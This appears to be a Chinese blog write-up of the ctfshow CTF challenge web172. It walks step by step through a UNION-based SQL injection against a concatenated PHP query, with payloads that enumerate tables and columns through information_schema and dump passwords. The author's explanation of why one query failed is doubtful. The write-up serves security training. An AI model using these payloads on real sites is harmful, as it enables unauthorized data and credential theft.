当前位置: 首页 > article >正文

ctfshow-web入门-web172

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

联合查询

该题目与上一个题目不是同一个类型,该题目需要进行sql联合查询。

第一步:确定sql注入的类型。1' or 1=1 确定为字符型(根据上面的php代码也能确定)

第二步:使用order by确定列数 1' order by 3 --+

第三步:测试回显位:1' union select 1,2 --+

第四步:使用database(),查询数据库 1' union select 1, database() --+

第五步:查询表名

x union select 1,group_concat(table_name),x from information_schema.tables where table_schema=database() --+

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctfshow_web" --+

第一个x代表是需要确定哪种注入类型。

第二个x代表是需要确定是有几个列,并且确定回显字段。

第六步:查询字段名:

x union select 1,group_concat(column_name),x from information_schema.columns where table_schema=database()&&table_name="查询到的表名" --+

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()&&table_name="ctfshow_user2" --+

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema="ctfshow_web"&&table_name="ctfshow_user2" --+

两种方法均无法查询出字段名,因为语法出现问题。应该使用下列查询语句:加个括号

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()&&table_name="ctfshow_user2") --+

仍然不正确,在语句中不需要数据库的信息。

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="ctfshow_user2") --+

所以最开始语句的问题是多加了数据库的信息:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name="ctfshow_user2" --+

第七步:查询字段值:

1' union select 1,group_concat(password) from ctfshow_user2 --+

1' union select 1,password from ctfshow_user2 --+

以上问题错误的原因:该题目只有一个数据库,因此在查询字段时不需要指定数据库名。


http://www.kler.cn/news/365468.html

相关文章:

  • 代谢组数据分析(二十):通过WGCNA识别核心代谢物
  • 企业邮箱和域名后缀不一致怎么解决?
  • 腾讯会议pc端3.29.11开启悬浮窗口
  • 《IDE 巧用法宝:使用技巧全解析与优质插件推荐》
  • Vue入门示例
  • Vue实现手风琴功能组件 vue 实现折叠面板功能
  • WPF中StaticResource和DynamicResource
  • Spring Cloud --- Sentinel 流控规则
  • 2024年项目管理新风向:敏捷开发与瀑布开发,哪个更优?
  • [项目][boost搜索引擎#3] Searcher模块 | 单例设计 | 去重 | 构建json
  • 新手直播方案
  • Linux-Centos操作系统备份及还原(整机镜像制作与还原)--再生龙
  • 《深度学习》Dlib库 CNN卷积神经网络 人脸识别
  • 线性代数学习
  • 散列表:常见的散列冲突解决方法有哪些?
  • LeetCode Hot 100:二分查找
  • layui编辑table数据
  • 人工智能技术的应用前景及对生活和工作方式的影响
  • C++面向对象编程学习
  • Unity3D学习FPS游戏(4)重力模拟和角色跳跃
  • 论文阅读:华为的LiMAC
  • win10怎么卸载软件干净?电脑彻底删除软件的方法介绍,一键清理卸载残留!
  • 批量修改YOLO格式的标注类别
  • EXCELL中如何两条线画入一张图中,标记坐标轴标题?
  • 开源模型应用落地-Qwen2.5-7B-Instruct与vllm实现离线推理-CPU版本
  • HTB:Blocky[WriteUP]